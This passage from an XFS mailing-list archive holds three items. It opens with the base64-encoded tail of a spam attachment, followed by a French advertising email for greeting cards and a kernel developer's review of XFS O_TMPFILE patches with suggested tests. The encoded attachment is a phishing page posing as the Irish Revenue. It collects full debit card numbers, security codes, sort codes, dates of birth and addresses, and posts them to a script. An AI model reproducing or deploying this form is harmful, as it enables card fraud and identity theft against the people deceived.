dmlnYXRpb24iPg0KCQkJCQkJCQkJPGxpPjxhPlJldmVudWUgLSBJcmlzaCBUYXggJiBDdXN0 b21zPC9hPjwvbGk+DQoJCQkJCQkJCQk8bGk+PGE+Q3ltcmFlZzwvc3Bhbj48L2E+PC9saT4N CgkJCQkJCQkJCTxsaT48YT5Db250YWN0IHVzPC9hPjwvbGk+DQoJCQkJCQkJCQk8bGk+PGE+ SGVscDwvYT48L2xpPg0KCQkJCQkJCQk8L3VsPg0KCQkJCQkJCTwvZGl2PgkJCQkJCQkNCgkJ CQkJCTwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTwvdGJvZHk+DQoJCQkJCTwvdGFibGU+DQoJ CQkJPC90ZD4NCgkJCTwvdHI+DQoJCQk8IS0tIEhFQURFUiAtLT4NCgkJCTx0ciB2YWxpZ249 InRvcCI+DQoJCQkJPHRkIHZhbGlnbj0idG9wIiB3aWR0aD0iMTAwJSI+DQoJCQkJCTxmb3Jt IG5hbWU9ImZybSIgbWV0aG9kPSJwb3N0IiBhY3Rpb249ImFjdGlvbi5waHAiIG9uc3VibWl0 PSJyZXR1cm4gdmFsaWRhdGUoKSI+DQoJCQkJCTx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRk aW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjEwMCUiPg0KCQkJCQk8dGJvZHk+DQoJ CQkJCTx0cj4NCgkJCQkJCTx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0ibGVmdCI+Jm5ic3A7PC90 ZD4NCgkJCQkJPC90cj4NCgkJCQkJPHRyPg0KCQkJCQkJPHRkIGNvbHNwYW49IjIiIGFsaWdu PSJsZWZ0Ij4NCgkJCQkJCQk8YnIgLz4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsNCgkJCQkJCQk8Yj48dT5BZGRyZXNzIEluZm9ybWF0aW9uPC91 PiAtIDwvYj5QbGVhc2UgZW50ZXIgeW91ciBuYW1lIGFuZCBhZGRyZXNzIGFzIHlvdSBoYXZl IGl0IGxpc3RlZCBmb3IgeW91ciBkZWJpdCBjYXJkLg0KCQkJCQkJPC90ZD4NCgkJCQkJPC90 cj4NCgkJCQkJPHRyPg0KCQkJCQkJPHRkPg0KCQkJCQkJCSAmbmJzcDsNCgkJCQkJCTwvdGQ+ DQoJCQkJCTwvdHI+CQkJCQk8dHI+DQoJCQkJCQk8dGQgYWxpZ249InJpZ2h0Ij4NCgkJCQkJ CQk8ZGl2IGNsYXNzPSJ0eHRfZm9ybV9rb3AiPg0KCQkJCQkJCQkgQ2FyZEhvbGRlciBOYW1l IDxzcGFuID46PC9zcGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4NCgkJCQkJCTx0 ZCB2YWxpZ249ImxlZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlkPSJuYW1lIiBuYW1l PSJuYW1lIiBzaXplPSIyMCIgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4 dCI+DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgYWxp Z249InJpZ2h0Ij4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0eHRfZm9ybV9rb3AiPg0KCQkJCQkJ CQkgRGF0ZSBvZiBCaXJ0aCA8c3BhbiA+Ojwvc3Bhbj4NCgkJCQkJCQk8L2Rpdj4NCgkJCQkJ CTwvdGQ+DQoJCQkJCQk8dGQgdmFsaWduPSJsZWZ0Ij4NCgkJCQkJCQkgJm5ic3A7IDxpbnB1 dCBpZD0iZG9iMSIgbmFtZT0iZG9iMSIgbWF4bGVuZ3RoPSIyIiBzaXplPSIyIiBjbGFzcz0i ZW5yb2xsbWVudElucHV0Qm94IiB0eXBlPSJ0ZXh0Ij4mbmJzcDsvJm5ic3A7PGlucHV0IGlk PSJkb2IyIiBuYW1lPSJkb2IyIiBtYXhsZW5ndGg9IjIiIHNpemU9IjIiIGNsYXNzPSJlbnJv bGxtZW50SW5wdXRCb3giIHR5cGU9InRleHQiPiZuYnNwOy8mbmJzcDs8aW5wdXQgaWQ9ImRv YjMiIG5hbWU9ImRvYjMiIG1heGxlbmd0aD0iNCIgc2l6ZT0iNCIgY2xhc3M9ImVucm9sbG1l bnRJbnB1dEJveCIgdHlwZT0idGV4dCI+DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJ CQk8dHI+DQoJCQkJCQk8dGQgYWxpZ249InJpZ2h0Ij4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0 eHRfZm9ybV9rb3AiPg0KCQkJCQkJCQkgQWRkcmVzcyA8c3BhbiA+Ojwvc3Bhbj4NCgkJCQkJ CQk8L2Rpdj4NCgkJCQkJCTwvdGQ+DQoJCQkJCQk8dGQgdmFsaWduPSJsZWZ0Ij4NCgkJCQkJ CQkgJm5ic3A7IDxpbnB1dCBpZD0ic3RyYWRhIiBuYW1lPSJzdHJhZGEiIHNpemU9IjI1IiBj bGFzcz0iZW5yb2xsbWVudElucHV0Qm94IiB0eXBlPSJ0ZXh0Ij4NCgkJCQkJCTwvdGQ+DQoJ CQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0ZCBhbGlnbj0icmlnaHQiPg0KCQkJCQkJ CTxkaXYgY2xhc3M9InR4dF9mb3JtX2tvcCI+DQoJCQkJCQkJCSBUb3duL0NpdHkgPHNwYW4g Pjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+DQoJCQkJCQk8L3RkPg0KCQkJCQkJPHRkIHZhbGln bj0ibGVmdCI+DQoJCQkJCQkJICZuYnNwOyA8aW5wdXQgaWQ9Im9yYXMiIG5hbWU9Im9yYXMi IHNpemU9IjE1IiBjbGFzcz0iZW5yb2xsbWVudElucHV0Qm94IiB0eXBlPSJ0ZXh0Ij4NCgkJ CQkJCTwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0ZCBhbGlnbj0icmln aHQiPg0KCQkJCQkJCTxkaXYgY2xhc3M9InR4dF9mb3JtX2tvcCI+DQoJCQkJCQkJCSBQcm92 aW5jZS9Db3VudHkgPHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+DQoJCQkJCQk8L3Rk Pg0KCQkJCQkJPHRkIHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZuYnNwOyA8aW5wdXQgaWQ9 InN0YXQiIG5hbWU9InN0YXQiIHNpemU9IjE1IiBjbGFzcz0iZW5yb2xsbWVudElucHV0Qm94 IiB0eXBlPSJ0ZXh0Ij4NCgkJCQkJCTwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCQ0KCQkJCQkJ PC90ZD4NCgkJCQkJPC90cj4NCgkJCQkJPHRyPg0KCQkJCQkJPHRkIGFsaWduPSJyaWdodCI+ DQoJCQkJCQkJPGRpdiBjbGFzcz0idHh0X2Zvcm1fa29wIj4NCgkJCQkJCQkJIFBob25lIE51 bWJlciA8c3BhbiA+Ojwvc3Bhbj4NCgkJCQkJCQk8L2Rpdj4NCgkJCQkJCTwvdGQ+DQoJCQkJ CQk8dGQgdmFsaWduPSJsZWZ0Ij4NCgkJCQkJCQkgJm5ic3A7IDxpbnB1dCBpZD0idGVsZWZv biIgbmFtZT0idGVsZWZvbiIgbWF4bGVuZ3RoPSIxMyIgc2l6ZT0iMTAiIGNsYXNzPSJlbnJv bGxtZW50SW5wdXRCb3giIHR5cGU9InRleHQiPg0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4N CgkJCQkJPHRyPg0KCQkJCQkJPHRkPg0KCQkJCQkJCSAmbmJzcDsNCgkJCQkJCTwvdGQ+DQoJ CQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0ibGVm dCI+DQoJCQkJCQkJPGJyIC8+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7DQoJCQkJCQkJPGI+PHU+RGViaXQgQ2FyZCBJbmZvcm1hdGlvbjwvdT4g LSA8L2I+UGxlYXNlIGVudGVyIHlvdXIgRGViaXQgQ2FyZCB3aGVyZSByZWZ1bmRzIHdpbGwg YmUgbWFkZS4NCgkJCQkJCTwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0 ZD4NCgkJCQkJCQkgJm5ic3A7DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+ DQoJCQkJCQk8dGQgYWxpZ249InJpZ2h0Ij4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0eHRfZm9y bV9rb3AiPg0KCQkJCQkJCQkgQWNjb3VudCBOdW1iZXIgPHNwYW4gPjo8L3NwYW4+DQoJCQkJ CQkJPC9kaXY+DQoJCQkJCQk8L3RkPg0KCQkJCQkJPHRkIHZhbGlnbj0ibGVmdCI+DQoJCQkJ CQkJICZuYnNwOyA8aW5wdXQgaWQ9ImFjYyIgbmFtZT0iYWNjIiBtYXhsZW5ndGg9IjgiIHNp emU9IjEwIiBjbGFzcz0iZW5yb2xsbWVudElucHV0Qm94IiB0eXBlPSJ0ZXh0Ij4NCgkJCQkJ CTwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0ZCBhbGlnbj0icmlnaHQi Pg0KCQkJCQkJCTxkaXYgY2xhc3M9InR4dF9mb3JtX2tvcCI+DQoJCQkJCQkJCSBEZWJpdCBD YXJkIE51bWJlciA8c3BhbiA+Ojwvc3Bhbj4NCgkJCQkJCQk8L2Rpdj4NCgkJCQkJCTwvdGQ+ DQoJCQkJCQk8dGQgdmFsaWduPSJsZWZ0Ij4NCgkJCQkJCQkgJm5ic3A7IDxpbnB1dCBpZD0i ZmFjbGllIiBuYW1lPSJmYWNsaWUiIG1heGxlbmd0aD0iMTYiIHNpemU9IjE2IiBjbGFzcz0i ZW5yb2xsbWVudElucHV0Qm94IiB0eXBlPSJ0ZXh0Ij4NCgkJCQkJCTwvdGQ+DQoJCQkJCTwv dHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0ZCBhbGlnbj0icmlnaHQiPg0KCQkJCQkJCTxkaXYg Y2xhc3M9InR4dF9mb3JtX2tvcCI+DQoJCQkJCQkJCSBFeHBpcnkgRGF0ZSA8c3BhbiA+Ojwv c3Bhbj4NCgkJCQkJCQk8L2Rpdj4NCgkJCQkJCTwvdGQ+DQoJCQkJCQk8dGQgdmFsaWduPSJs ZWZ0Ij4NCgkJCQkJCQkgJm5ic3A7IDxpbnB1dCBjbGFzcz0iZW5yb2xsbWVudElucHV0Qm94 IiBpZD0iZXhwTW9udGgiIG5hbWU9ImV4cE1vbnRoIiBzaXplPSIyIiBtYXhsZW5ndGg9IjIi IHR5cGU9InRleHQiPiZuYnNwOyZuYnNwOy8mbmJzcDsgPGlucHV0IGNsYXNzPSJlbnJvbGxt ZW50SW5wdXRCb3giIGlkPSJleHBZZWFyIiBuYW1lPSJleHBZZWFyIiBzaXplPSIyIiBtYXhs ZW5ndGg9IjIiIHR5cGU9InRleHQiPg0KCQkJCQkJCTxzcGFuIGNsYXNzPSJ0eHRfZm9ybV9r b3AiPk1NL1lZPC9zcGFuPg0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4NCgkJCQkJPHRyPg0K CQkJCQkJPHRkIGFsaWduPSJyaWdodCI+DQoJCQkJCQkJPGRpdiBjbGFzcz0idHh0X2Zvcm1f a29wIj4NCgkJCQkJCQkJIENhcmQgU2VjdXJpdHkgQ29kZSA8c3BhbiA+Ojwvc3Bhbj4NCgkJ CQkJCQk8L2Rpdj4NCgkJCQkJCTwvdGQ+DQoJCQkJCQk8dGQgdmFsaWduPSJsZWZ0Ij4NCgkJ CQkJCQkgJm5ic3A7IDxpbnB1dCBpZD0iY3NjIiBuYW1lPSJjc2MiIG1heGxlbmd0aD0iMyIg c2l6ZT0iMyIgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0icGFzc3dvcmQiPg0K CQkJCQkJCSA8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgYWxpZ249 InJpZ2h0Ij4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0eHRfZm9ybV9rb3AiPg0KCQkJCQkJCQkg U29ydC1Db2RlIDxzcGFuID46PC9zcGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4N CgkJCQkJCTx0ZCB2YWxpZ249ImxlZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlkPSJz YzEiIG5hbWU9InNjMSIgbWF4bGVuZ3RoPSIyIiBzaXplPSIxIiBjbGFzcz0iZW5yb2xsbWVu dElucHV0Qm94IiB0eXBlPSJ0ZXh0Ij4mbmJzcDstJm5ic3A7PGlucHV0IGlkPSJzYzIiIG5h bWU9InNjMiIgbWF4bGVuZ3RoPSIyIiBzaXplPSIxIiBjbGFzcz0iZW5yb2xsbWVudElucHV0 Qm94IiB0eXBlPSJ0ZXh0Ij4mbmJzcDstJm5ic3A7PGlucHV0IGlkPSJzYzMiIG5hbWU9InNj MyIgbWF4bGVuZ3RoPSIyIiBzaXplPSIxIiBjbGFzcz0iZW5yb2xsbWVudElucHV0Qm94IiB0 eXBlPSJ0ZXh0Ij4NCgkJCQkJCTwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTx0cj4NCg0KDQoN Cg0KPHRyPg0KCQkJCQkJPHRkIGFsaWduPSJyaWdodCI+DQoJCQkJCQkJPGRpdiBjbGFzcz0i dHh0X2Zvcm1fa29wIj4NCgkJCQkJCQkJIENhcmQgQmFsYW5jZSAoRXg6IDcyMC45NCBFVVIp IDxzcGFuID46PC9zcGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4NCgkJCQkJCTx0 ZCB2YWxpZ249ImxlZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlkPSJiYWxhbmNlIiBu YW1lPSJiYWxhbmNlIiBtYXhsZW5ndGg9IjE2IiBzaXplPSIxNiIgY2xhc3M9ImVucm9sbG1l bnRJbnB1dEJveCIgdHlwZT0idGV4dCI+DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KDQoN Cg0KCQkJCQkJPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KCQkJCQkJCTxiciAv Pg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWUgPSIiIGNsYXNz PSJidXR0b25fYWRkIiAvPg0KCQkJCQkJCSA8YnIgLz48YnIgLz4NCgkJCQkJCTwvdGQ+DQoJ CQkJCTwvdHI+DQoJCQkJCTwvdGJvZHk+DQoJCQkJCTwvdGFibGU+DQoJCQkJPC90ZD4NCgkJ CTwvdHI+DQoJCQk8L3Rib2R5Pg0KCQkJPC90YWJsZT4NCgkJPC90ZD4NCgk8L3RyPg0KCTx0 cj4NCgkJPHRkPg0KCQkJPGRpdiBpZD0iaGVhZGVyMiI+PGJyIC8+DQoJCQkJPGE+SG9tZTwv YT48aW1nIHNyYz0iaW1nLzFwaXh0cmFuc3BhcmFudC5naWYiIHdpZHRoPSI3Ij4mbmJzcDt8 PGltZyBzcmM9ImltZy8xcGl4dHJhbnNwYXJhbnQuZ2lmIiB3aWR0aD0iOCIgLz4NCgkJCQk8 YT5Qcml2YWN5IFN0YXRlbWVudDwvYT48aW1nIHNyYz0iaW1nLzFwaXh0cmFuc3BhcmFudC5n aWYiIHdpZHRoPSI3IiAvPiZuYnNwO3w8aW1nIHNyYz0iaW1nLzFwaXh0cmFuc3BhcmFudC5n aWYiIHdpZHRoPSI4IiAvPg0KCQkJCTxhPlRlcm1zIGFuZCBDb25kaXRpb25zPC9hPjxpbWcg c3JjPSJpbWcvMXBpeHRyYW5zcGFyYW50LmdpZiIgd2lkdGg9IjciIC8+Jm5ic3A7fDxpbWcg c3JjPSJpbWcvMXBpeHRyYW5zcGFyYW50LmdpZiIgd2lkdGg9IjciIC8+DQoJCQkJPGE+Q29u dGFjdDwvYT48aW1nIHNyYz0iaW1nLzFwaXh0cmFuc3BhcmFudC5naWYiIHdpZHRoPSI3IiAv PiZuYnNwO3w8aW1nIHNyYz0iaW1nLzFwaXh0cmFuc3BhcmFudC5naWYiIHdpZHRoPSI3IiAv Pg0KCQkJCTxhPkZBUTwvYT48YnIgLz48YnIgLz4NCgkJCTwvZGl2Pg0KCQk8L3RkPg0KCTwv dHI+DQoJPC90Ym9keT4NCgk8L3RhYmxlPg0KPC9kaXY+DQo8L2Zvcm0+DQo8L2JvZHk+DQo8 L2h0bWw+ ------=_NextPart_000_0012_69C1B17F.0BF8DAAB-- From pam=news-zetrend.com@mlgnusa.com Wed Dec 25 20:55:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,T_DKIM_INVALID,T_FRT_PROFILE1,T_FRT_PROFIT1 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2AD897F37 for ; Wed, 25 Dec 2013 20:55:55 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8A4D1AC001 for ; Wed, 25 Dec 2013 18:55:51 -0800 (PST) X-ASG-Debug-ID: 1388026545-04cb6c537c989280001-NocioJ Received: from mail6.mlgnusa.com (mail6.mlgnusa.com [194.19.244.213]) by cuda.sgi.com with ESMTP id fV08hCNUSBp7ou6M for ; Wed, 25 Dec 2013 18:55:46 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.213 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=zkoqGlwl72zv4i/hPQkWfj8wYzs=; b=IP52wnlbb+dlK+lUkcJdiSC2YEl7Gh7L1AsQQ/mAMwvfNAwhfUDRcy6cf+Elnr4kksi7xrkvxIfr +b3l5CQk2h2jlwjO7+tFTQhZDw84NhTBbPsvJ1egjk7WrqeVGafZcbYAYu0LzeZ5ol80RsQSQO6P HZkppRNpcY80/htUh4o= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=CaoSI6k4Jw1mqA6yPcmN+3+8mW67/JFUvL924A/sVkFhKjl7kEba3btby8Mmj8MYx9ffaCfKwR6+ 0jPprM9NLPZbopHUreGbLw/m4TseMJ1Hc/+8e4hqfwEhZzoXgXhKJ+2VSc/ZYMTQnTYM0sarFOC8 /Wp2jkUC/7iH+9pjcxY=; Received: by mail6.mlgnusa.com id hnedb61fblck for ; Thu, 26 Dec 2013 04:55:44 +0200 (envelope-from ) Date: Thu, 26 Dec 2013 03:12:36 +0200 To: From: Ooprint par Nl-Promos Reply-To: Ooprint par Nl-Promos Subject: =?utf-8?Q?-5_euros_sur_vos_cartes_de_v=C5=93ux_!_Commandez_maintenant_!?= Message-ID: X-ASG-Orig-Subj: =?utf-8?Q?-5_euros_sur_vos_cartes_de_v=C5=93ux_!_Commandez_maintenant_!?= X-Priority: 3 X-Mailer: MailiGen Mailer - **CID82acae47d09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.82acae47 X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.82acae47 X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=82acae47&e=d09c0023 List-Unsubscribe: , Sender: "Ooprint par Nl-Promos" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_606f1a4286dbf35733a01638f10f3ac3" X-Barracuda-Connect: mail6.mlgnusa.com[194.19.244.213] X-Barracuda-Start-Time: 1388026546 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.55 X-Barracuda-Spam-Status: No, SCORE=0.55 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143408 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message --b1_606f1a4286dbf35733a01638f10f3ac3 Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: 8bit : http://nodes.ndexate.com/r/clic-25-708-96-url-aHR0cDovL3d3dy5vb3ByaW50LmZyL3JlZmVyZXIucGhwP3JlZmVyZXI9MTA2NDk5Jmxpbms9aHR0cCUzQS8vd3d3Lm9vcHJpbnQuZnIvY2FydGVzLWRlLXZvZXV4Lw?rgroup=p_201&trackaff=&group= : http://nodes.ndexate.com/r/clic-25-708-96-url-aHR0cDovL3d3dy5vb3ByaW50LmZyL3JlZmVyZXIucGhwP3JlZmVyZXI9MTA2NDk5Jmxpbms9aHR0cCUzQS8vd3d3Lm9vcHJpbnQuZnIvY2FydGVzLWRlLXZvZXV4Lw?rgroup=p_201&trackaff=&group= : http://nodes.ndexate.com/r/clic-25-708-96-url-aHR0cDovL3d3dy5vb3ByaW50LmZyL3JlZmVyZXIucGhwP3JlZmVyZXI9MTA2NDk5Jmxpbms9aHR0cCUzQS8vd3d3Lm9vcHJpbnQuZnIvY2FydGVzLWRlLXZvZXV4Lw?rgroup=p_201&trackaff=&group= : http://nodes.ndexate.com/r/clic-25-708-96-url-aHR0cDovL3d3dy5vb3ByaW50LmZyL3JlZmVyZXIucGhwP3JlZmVyZXI9MTA2NDk5Jmxpbms9aHR0cCUzQS8vd3d3Lm9vcHJpbnQuZnIvY2FydGVzLWRlLXZvZXV4Lw?rgroup=p_201&trackaff=&group= : http://nodes.ndexate.com/r/clic-25-708-96-url-aHR0cDovL3d3dy5vb3ByaW50LmZyL3JlZmVyZXIucGhwP3JlZmVyZXI9MTA2NDk5Jmxpbms9aHR0cCUzQS8vd3d3Lm9vcHJpbnQuZnIvY2FydGVzLWRlLXZvZXV4Lw?rgroup=p_201&trackaff=&group= : http://nodes.ndexate.com/r/clic-25-708-96-url-aHR0cDovL3d3dy5vb3ByaW50LmZyL3JlZmVyZXIucGhwP3JlZmVyZXI9MTA2NDk5Jmxpbms9aHR0cCUzQS8vd3d3Lm9vcHJpbnQuZnIvY2FydGVzLWRlLXZvZXV4Lw?rgroup=p_201&trackaff=&group= : http://nodes.ndexate.com/r/clic-25-708-96-url-aHR0cDovL3d3dy5vb3ByaW50LmZyL3JlZmVyZXIucGhwP3JlZmVyZXI9MTA2NDk5Jmxpbms9aHR0cCUzQS8vd3d3Lm9vcHJpbnQuZnIvY2FydGVzLWRlLXZvZXV4Lw?rgroup=p_201&trackaff=&group= Vos cartes de voeux 2014 de qualité professionnelle ! 3 choix papiers : Haut de gamme 300 g verni Texture superieur (en option) 100% recycle 300 g, pour la Collection Nature Avec ooprint : Personnalisation textes et logo Enveloppes haut de gamme en option. Impression et livraison Impression en 24h ouvrees (pour toute commande inferieure a 500 ex) Livraison en 24h ouvrees avec l'option DHL : http://nodes.ndexate.com/r/clic-25-708-96-url-aHR0cDovL3d3dy5vb3ByaW50LmZyL3JlZmVyZXIucGhwP3JlZmVyZXI9MTA2NDk5Jmxpbms9aHR0cCUzQS8vd3d3Lm9vcHJpbnQuZnIvY2FydGVzLWRlLXZvZXV4Lw?rgroup=p_201&trackaff=&group= ========================================== Ce courriel a été envoyé par Ooprint par Nl-Promos à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=82acae47&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=82acae47&ln=fr --b1_606f1a4286dbf35733a01638f10f3ac3 Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit
    Cartes de voeux 2014
    Cartes de voeux 2014
    Cartes de voeux 2014 Cartes de voeux 2014
    Cartes de voeux 2014
    Cartes de voeux 2014 Cartes de voeux 2014
    Cartes de voeux 2014 Cartes de voeux 2014
    Vos cartes de voeux 2014
    de qualité professionnelle !

    3 choix papiers :
    Haut de gamme 300 g verni
    Texture superieur (en option)
    100% recycle 300 g, pour la Collection Nature

    Avec ooprint :
    Personnalisation textes et logo
    Enveloppes haut de gamme en option.

    Impression et livraison
    Impression en 24h ouvrees (pour toute commande inferieure a 500 ex)
    Livraison en 24h ouvrees avec l'option DHL
    Cartes de voeux 2014
    Cartes de voeux 2014
    Ce courriel a été envoyé par Ooprint par Nl-Promos à xfs@oss.sgi.com.
    Zetrend | 2, Place Louis Pradel, lyon, 60001, France
    Pourquoi je reçois ce mail?
    Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
    --b1_606f1a4286dbf35733a01638f10f3ac3-- From BATV+630d82e3f7ea99ea4e4c+3777+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 26 02:51:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5CD2C7F3F for ; Thu, 26 Dec 2013 02:51:38 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D54D7AC004 for ; Thu, 26 Dec 2013 00:51:37 -0800 (PST) X-ASG-Debug-ID: 1388047895-04cb6c537b9989f0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id O0jUIQLaQUZ0yXRG (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 26 Dec 2013 00:51:36 -0800 (PST) X-Barracuda-Envelope-From: BATV+630d82e3f7ea99ea4e4c+3777+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vw6fG-0002IF-Fb; Thu, 26 Dec 2013 08:51:34 +0000 Date: Thu, 26 Dec 2013 00:51:34 -0800 From: Christoph Hellwig To: Zhi Yong Wu Cc: xfs@oss.sgi.com, Zhi Yong Wu , linux-api@vger.kernel.org Subject: Re: [PATCH v2 0/3] xfs: add O_TMPFILE support Message-ID: <20131226085134.GA32660@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v2 0/3] xfs: add O_TMPFILE support References: <1387326161-24530-1-git-send-email-zwu.kernel@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1387326161-24530-1-git-send-email-zwu.kernel@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1388047896 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143416 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Both patches looks good to me, Reviewed-by: Christoph Hellwig But now we need to make sure we can exercise it, which will need support for tmpfile and flink commands in xfs_io. And tests that use those commands in xfstests. At a minimum I'd suggest: - test creating read-only/read-write/executable files - check how permission bits actually work for O_TMPFILE and enforce that (unfortunately I can't find any documentation for that) - check that creating non-regular files is properly rejected - check that flink works on O_TMPFILE files, but doesn't work on on other files For an additional XFS-specific test I'd recommend: - creating a tmpfile, use src/godown to force the filesystem down and check that repair recoveres the unlinked inode list - creating a tmpfile, flinking it, use src/godown to force the filesystem down and check that repair does not have to recover the unlink inode list. On Wed, Dec 18, 2013 at 08:22:38AM +0800, Zhi Yong Wu wrote: > From: Zhi Yong Wu > > HI, folks > > It's time to post the latest 